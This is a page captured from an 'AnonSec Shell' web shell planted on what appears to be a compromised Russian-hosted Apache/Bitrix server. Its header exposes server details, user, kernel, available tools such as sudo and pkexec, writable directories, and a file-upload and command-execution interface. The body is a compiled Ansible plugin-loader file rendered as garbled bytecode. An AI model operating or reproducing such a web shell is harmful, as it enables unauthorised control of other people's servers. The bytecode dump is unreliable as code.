AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.145.8.188
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/ansible/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/ansible/plugins/loader.pyc
�
��\c	@`s�ddlmZmZmZeZddlZddlZddlZddl	Zddl
Z
ddlZddlm
Z
ddlmZddlmZddlmZddlmZddlmZmZmZmZdd	lmZydd
lmZWn*e k
r,ddl!m"Z"e"�ZnXd�Z#d
fd��YZ$de$fd��YZ%d�Z&e&�a'e$ddej(j)ej(j*e+�d�d�Z,e$ddej-ddd�Z.e$ddej/d�Z0e$ddej1d �Z2e$d!d"ej3d#d$id%d&6dd'�Z4e$d(d)d*d*�Z5e$dd+ej6d,�Z7e$dd-ej8d.�Z9e$dd-ej8d.�Z:e$d/d0ej;d1dd2�Z<e%d3d4ej=d5�Z>e%d6d7ej?d8�Z@e$d9d:ejAd;dd<�ZBe$d=d>ejCd?dd@�ZDe$dAdBejEdC�ZFe$dDdEejGdFddG�ZHe$dHdIejIdJddK�ZJe$dLdMejKdN�ZLe$dOdPejMdQ�ZNdS(Ri(tabsolute_importtdivisiontprint_functionN(tdefaultdict(t	constants(tAnsibleError(tto_text(t	from_yaml(tget_plugin_classtMODULE_CACHEt
PATH_CACHEtPLUGIN_PATH_CACHE(t
get_docstring(tdisplay(tDisplaycC`s;gt�j�D]'\}}t|t�r||f^qS(N(tglobalstitemst
isinstancetPluginLoader(tnametobj((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pytget_all_plugin_loaders!sRcB`s�eZdZddd�Zd�Zd�Zd�Zd�Zd�Z	e
d�Ze
d�Zd	�Z
ed
�Zdeed�Zdeed
�Zd�ZeZd�Zd�Zd�Zddd�Zd�ZRS(s�
    PluginLoader loads plugins from the configured plugin directories.

    It searches for plugins by iterating through the combined list of play basedirs, configured
    paths, and the python path.  The first match is used.
    cC`s|dkrin|}||_||_||_||_||_|rgt|t�rg|g}n|svg}n||_|t	kr�it	|<n|t
kr�dt
|<n|tkr�tt
�t|<nt	||_t
||_t||_g|_t�|_dS(N(tNonet
class_namet
base_classtpackagetsubdirtaliasesRtlisttconfigR	R
RRtdictt
_module_cachet_pathst_plugin_path_cachet_extra_dirstsett_searched_paths(tselfRRRRRtrequired_base_class((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt__init__-s,							




	cC`s�|jd�}|jd�}|jd�}|jd�}|jd�}|jd�}|jd�t|<|jd�t|<|j||||||�|jd	g�|_|jd
t��|_dS(s
        Deserializer.
        RRRRRRR
RR"R$N(tgetR
RR'R"R#R$(R%tdataRRRRRR((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt__setstate__MscC`sitd|jd|jd|jd|jd|jd|jd|jd|jd	t	|jd
t
|j�
S(s
        Serializer.
        RRRRRRR"R$R
R(RRRRRRRR"R$R
R(R%((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt__getstate__`s								
cC`sCg}x*|D]"}||kr
|j|�q
q
Wtjj|�S(s; Returns a string suitable for printing of the search path (tappendtostpathseptjoin(R%tpathstretti((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pytformat_pathsrs

cC`s|j|jdt��S(Ntsubdirs(R3t
_get_pathstFalse(R%((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pytprint_paths|scC`s|g}|j|�xbtj|dt�D]K\}}}d|kr)x-|D]"}|jtjj||��qKWq)q)W|S(Ntfollowlinkss__init__.py(R,R-twalktTruetpathR/(R%tdirtresultstrootR4tfilestx((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt_all_directoriess
%
'cC`s�|js
gSt|d�s|t|j�}|jjd�d}x|D]}t||�}qHWtjj|j�|_	n|r�|j
|j	�S|j	gS(s# Gets the path of a Python package tpackage_patht.i(Rthasattrt
__import__tsplittgetattrR-R;tdirnamet__file__RBRA(R%R4tmtpartst
parent_mod((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt_get_package_paths�s	
cC`sh|jdk	r|jS|j}|jdk	r�x�|jD]�}tjjtjj|��}|r�tjd|�tjd|�}x?|D]4}tjj	|�r�||kr�|j
|�q�q�Wn||kr9|j
|�q9q9Wn|j|jd|��g}g}x:|D]2}|j
d�r=|j
|�q|j
|�qW|j|�||_|S(s1 Return a list of paths to search for plugins in s%s/*s%s/*/*R4twindowsN(R RR"RR-R;trealpatht
expandusertglobtisdirR,textendRMtendswith(R%R4R1R;tcontentstctreordered_pathstwin_dirs((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyR5�s.
$


	cC`s�|jr�t|j�}|tjkr�t|tdtdt�d}|r�d|kr�t|dt	�r�tj
j|||d�tj
d||f�q�q�ndS(sf Reads plugin docs to find configuration setting definitions, to push to config manager for later use tverboset
ignore_errorsitoptionss%Loaded config def from plugin (%s/%s)N(RRtCtCONFIGURABLE_PLUGINSRtfragment_loaderR6R:RRRt+initialize_plugin_configuration_definitionsR
tdebug(R%RR;t	type_nametdstring((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt_load_config_defs�s	%cC`s�tjj|�}|dk	r~|r?tjj||j�}n||jkr~|jj|�d|_t	j
d|�q~ndS(s1 Adds an additional directory to the search path sAdded %s to loader search pathN(R-R;RORR/RR"R,R R
R`(R%t	directorytwith_subdir((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt
add_directory�s	tc`s�|t�jkrd
S|r&|}n�jr8d}nd}|r\�jj||�}n�j|}y||SWntk
r�nXx��fd��j�D�D]��y#�fd�t	j
��D�}Wn*tk
r�}tj
dt|��nXxd�|D�D]
}	t	jj|	�}
|	jd�r:q
nt	jj|
�}|d	}y|d
}
Wntk
r}d}
nX|�jdkr�|	�jd|<n|
�jdkr�|	�jd|
<n|�j|
kr�|	�j|
|<n|
�j|
kr
|	�j|
|
<q
q
W�jj��y||SWq�tk
rMq�Xq�W|jd�s�d|}||kr�|r�t	jj||�r�tjd|jd��n||Snd
S(s Find a plugin named name s.pyRgc3`s6|],}|�jkrtjj|�r|VqdS(N(R$R-R;RR(t.0tp(R%(s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pys	<genexpr>
sc3`s$|]}tjj�|�VqdS(N(R-R;R/(Rhtf(R;(s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pys	<genexpr>ss Error accessing plugin paths: %scs`s7|]-}tjj|�r|jd�r|VqdS(s__init__.pyN(R-R;tisfileRT(RhRj((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pys	<genexpr>ss.pycs.pyoiit_s�%s is kept for backwards compatibility but usage is discouraged. The module documentation details page may explain more about this rationale.N(s.pycs.pyo(t_PLUGIN_FILTERSRRRRR(R!tKeyErrorR5R-tlistdirtOSErrorR
twarningRR;tbasenameRTtsplitextt
IndexErrorR$taddt
startswithtislinkt
deprecatedtlstrip(R%Rtmod_typetignore_deprecatedt
check_aliasestsuffixt
pull_cachet
full_pathstet	full_patht	full_namet	splitnamet	base_namet	extensiont
alias_name((R;R%s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt_find_plugin�sd			

##




	cC`soddlm}|j|d|d|d|�}|rk|jdkrk||�rktd||f��n|S(s Find a plugin named name i(tis_reserved_nameRzR{R|sansible.modulessdModule "%s" shadows the name of a reserved keyword. Please rename or remove this module. Found at %s(tansible.vars.reservedR�R�RR(R%RRzR{R|R�tplugin((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pytfind_pluginDs!!cC`s|j|�dk	S(s& Checks if a plugin named name exists N(R�R(R%R((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt
has_pluginRscC`s�dj|j|g�}|tjkr2tj|Stj��Btjdt�t|d��}t	j
|||�}WdQXWdQX|S(NRCtignoretrb(R/Rtsystmodulestwarningstcatch_warningstsimplefiltertRuntimeWarningtopentimptload_source(R%RR;R�tmodule_filetmodule((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt_load_module_sourceYs
!cC`s$t|d|�t|d|�dS(Nt_original_patht
_load_name(tsetattr(R%RRR;((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt_update_objecthsc	O`s�t}|jdt�}||jkr7|j|}n|j|�}|dkrVdS||jkr�|j||�|j|<t}nt|j||j	�}|j
rt|jd|j
g�}yt||j
�}	Wnt
k
r�dSXt||	�sdSn|j|j	||j|d|d|�|syy|||�}Wqytk
ru}
d|
jdkrodS�qyXn|s�|j||�n|j|||�|S(s9 instantiates a plugin of the given name using arguments t
class_onlytfromlisttfound_in_cachetabstractiN(R:tpopR6RR�RRR�RGRRRERtAttributeErrort
issubclasst_display_plugin_loadR$t	TypeErrortargsRcR�(R%RR�tkwargsR�R�R;RR�tplugin_classR�((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyR(ns>		
(
cC`s�d|tjj|�|f}t|�dkrMd||j|�f}n|sY|rod|||f}ntj|�dS(NsLoading %s '%s' from %sis%s (searched paths: %s)s%%s (found_in_cache=%s, class_only=%s)(R-R;RrtlenR3R
R`(R%RRtsearched_pathsR;R�R�tmsg((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyR��sc
o`s!|jdt�}|jdt�}|jdt�}|rQ|rQtd��ng}t}x9|j�D]+}|jtjtjj	|d���qjWt
�}	xxt|dtjj�D]^}
tjj
|
�d}tjj|�}|dks�|t|jkrq�n|r&||	kr&q�n|	j|�|rD|
Vq�n|
|jkr�y|j||
�}
Wn3tk
r�}tjd	|
t|�f�q�nX|
|j|
<t}nyt|j|
|j�}Wn3tk
r}tjd	|
t|�f�q�nX|jrqt|jd
|jg�}
yt|
|j�}Wntk
rXq�nXt||�sqq�qqn|j|j||j|
d|d|�|s�y|||�}Wq�tk
r�}tjd|
t|�f�q�Xn|s|j ||
�n|j!|||
�|Vq�Wd
S(s�
        Iterate through all plugins of this type

        A plugin loader is initialized with a specific type.  This function is an iterator returning
        all of the plugins of that type to the caller.

        :kwarg path_only: If this is set to True, then we return the paths to where the plugins reside
            instead of an instance of the plugin.  This conflicts with class_only and both should
            not be set.
        :kwarg class_only: If this is set to True then we return the python class which implements
            a plugin rather than an instance of the plugin.  This conflicts with path_only and both
            should not be set.
        :kwarg _dedupe: By default, we only return one plugin per plugin name.  Deduplication happens
            in the same way as the :meth:`get` and :meth:`find_plugin` methods resolve which plugin
            should take precedence.  If this is set to False, then we return all of the plugins
            found, including those with duplicate names.  In the case of duplicates, the order in
            which they are returned is the one that would take precedence first, followed by the
            others  in decreasing precedence order.  This should only be used by subclasses which
            want to manage their own deduplication of the plugins.
        :*args: Any extra arguments are passed to each plugin when it is instantiated.
        :**kwargs: Any extra keyword arguments are passed to each plugin when it is instantiated.
        t_dedupet	path_onlyR�sHDo not set both path_only and class_only when calling PluginLoader.all()s*.pytkeyiR's2Skipping plugin (%s) as it seems to be invalid: %sR�R�s5Skipping plugin (%s) as it seems to be incomplete: %sN("R�R:R6RR5RSRQR-R;R/R#tsortedRrRsRmRRuRR�t	ExceptionR
RqRRGRR�RRER�R�R$R�RcR�(R%R�R�tdedupeR�R�tall_matchesR�R2tloaded_modulesR;RRrR�R�RR�((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pytall�sh$)	

		
	($N(t__name__t
__module__t__doc__RR'R*R+R3R7RAR:RMR5RcR6RfR�R�R�t__contains__R�R�R(R�R�(((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyR%s( 			
			6	Z				.tJinja2LoadercB`s)eZdZd�Zd�Zd�ZRS(s�
    PluginLoader optimized for Jinja2 plugins

    The filter and test plugins are Jinja2 plugins encapsulated inside of our plugin format.
    The way the calling code is setup, we need to do a few things differently in the all() method
    cC`std��dS(NsCNo code should call find_plugin for Jinja2Loaders (Not implemented)(R(R%R((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyR�scO`std��dS(NsCNo code should call find_plugin for Jinja2Loaders (Not implemented)(R(R%RR�R�((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyR(scO`sFt|d<gtt|�j||�D]}|^q&}|j�|S(sf
        Differences with :meth:`PluginLoader.all`:

        * We do not deduplicate ansible plugin names.  This is because we don't care about our
          plugin names, here.  We care about the names of the actual jinja2 plugins which are inside
          of our plugins.
        * We reverse the order of the list of plugins compared to other PluginLoaders.  This is
          because of how calling code chooses to sync the plugins from the list.  It adds all the
          Jinja2 plugins from one of our Ansible plugins into a dict.  Then it adds the Jinja2
          plugins from the next Ansible plugin, overwriting any Jinja2 plugins that had the same
          name.  This is an encapsulation violation (the PluginLoader should not know about what
          calling code does with the data) but we're pushing the common code here.  We'll fix
          this in the future by moving more of the common code into this PluginLoader.
        * We return a list.  We could iterate the list instead but that's extra work for no gain because
          the API receiving this doesn't care.  It just needs an iterable
        R�(R6tsuperR�R�treverse(R%R�R�Ritplugins((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyR�#s
.
(R�R�R�R�R(R�(((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyR�s		c	C`s�tt�}t}tjdkr*d}ntj}t}tjj	|�ryt
|d��S}yt|j��}Wn3t
k
r�}tjdj|t|���|SXWdQXy|d}Wn(tk
r�tjdj|��|SXt|�}|j�}|dkr`yt|d�|d<Wn(tk
rNtjd	j|��|SX|d|d
<q�tjdj|��n|r�tjdj|��nd
|dkr�tdj|���n|S(Ns/etc/ansible/plugin_filters.ymlR�u;The plugin filter file, {0} was not parsable. Skipping: {1}tfilter_versionu2The plugin filter file, {0} was invalid. Skipping.u1.0tmodule_blacklistsansible.modulesuWUnable to parse the plugin filter file {0} as module_blacklist is not a list. Skipping.sansible.plugins.actionu^The plugin filter file, {0} was a version not recognized by this version of Ansible. Skipping.u5The plugin filter file, {0} does not exist. Skipping.tstats�The stat module was specified in the module blacklist file, {0}, but Ansible will not function without the stat module.  Please remove stat from the blacklist.(Rt	frozensetR6R\tPLUGIN_FILTERS_CFGRR:R-R;texistsR�RtreadR�R
RqtformatRRntstripR�R(tfilterstuser_sett
filter_cfgRjtfilter_dataR�tversion((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt_load_plugin_filter@sN		





	tModuleDocFragments#ansible.utils.module_docs_fragmentstmodule_docs_fragmentsRgtActionModulesansible.plugins.actiontaction_pluginsR&t
ActionBasetCacheModulesansible.plugins.cachet
cache_pluginstCallbackModulesansible.plugins.callbacktcallback_pluginst
Connectionsansible.plugins.connectiontconnection_pluginsRtparamiko_sshtparamikotConnectionBasetShellModulesansible.plugins.shellt
shell_pluginssansible.modulestlibrarysansible.module_utilstmodule_utilstLookupModulesansible.plugins.lookuptlookup_pluginst
LookupBasetFilterModulesansible.plugins.filtertfilter_pluginst
TestModulesansible.plugins.testttest_pluginstStrategyModulesansible.plugins.strategytstrategy_pluginstStrategyBasetTerminalModulesansible.plugins.terminaltterminal_pluginstTerminalBaset
VarsModulesansible.plugins.varstvars_pluginstCliconfsansible.plugins.cliconftcliconf_pluginstCliconfBasetNetconfsansible.plugins.netconftnetconf_pluginstNetconfBasetInventoryModulesansible.plugins.inventorytinventory_pluginstHttpApisansible.plugins.httpapithttpapi_plugins(Ot
__future__RRRttypet
__metaclass__RQR�R-tos.pathR�R�tcollectionsRtansibleRR\tansible.errorsRtansible.module_utils._textRtansible.parsing.utils.yamlRtansible.pluginsRR	R
Rtansible.utils.plugin_docsRt__main__R
tImportErrortansible.utils.displayRRRR�R�RmR;R/RHRIR^tDEFAULT_ACTION_PLUGIN_PATHt
action_loadertDEFAULT_CACHE_PLUGIN_PATHtcache_loadertDEFAULT_CALLBACK_PLUGIN_PATHtcallback_loadertDEFAULT_CONNECTION_PLUGIN_PATHtconnection_loadertshell_loadertDEFAULT_MODULE_PATHt
module_loadertDEFAULT_MODULE_UTILS_PATHtmodule_utils_loadertps_module_utils_loadertDEFAULT_LOOKUP_PLUGIN_PATHt
lookup_loadertDEFAULT_FILTER_PLUGIN_PATHt
filter_loadertDEFAULT_TEST_PLUGIN_PATHttest_loadertDEFAULT_STRATEGY_PLUGIN_PATHtstrategy_loadertDEFAULT_TERMINAL_PLUGIN_PATHtterminal_loadertDEFAULT_VARS_PLUGIN_PATHtvars_loadertDEFAULT_CLICONF_PLUGIN_PATHtcliconf_loadertDEFAULT_NETCONF_PLUGIN_PATHtnetconf_loadertDEFAULT_INVENTORY_PLUGIN_PATHtinventory_loadertDEFAULT_HTTPAPI_PLUGIN_PATHthttpapi_loader(((s:/usr/lib/python2.7/site-packages/ansible/plugins/loader.pyt<module>s"

	��.	;					
														

Anon7 - 2022
AnonSec Team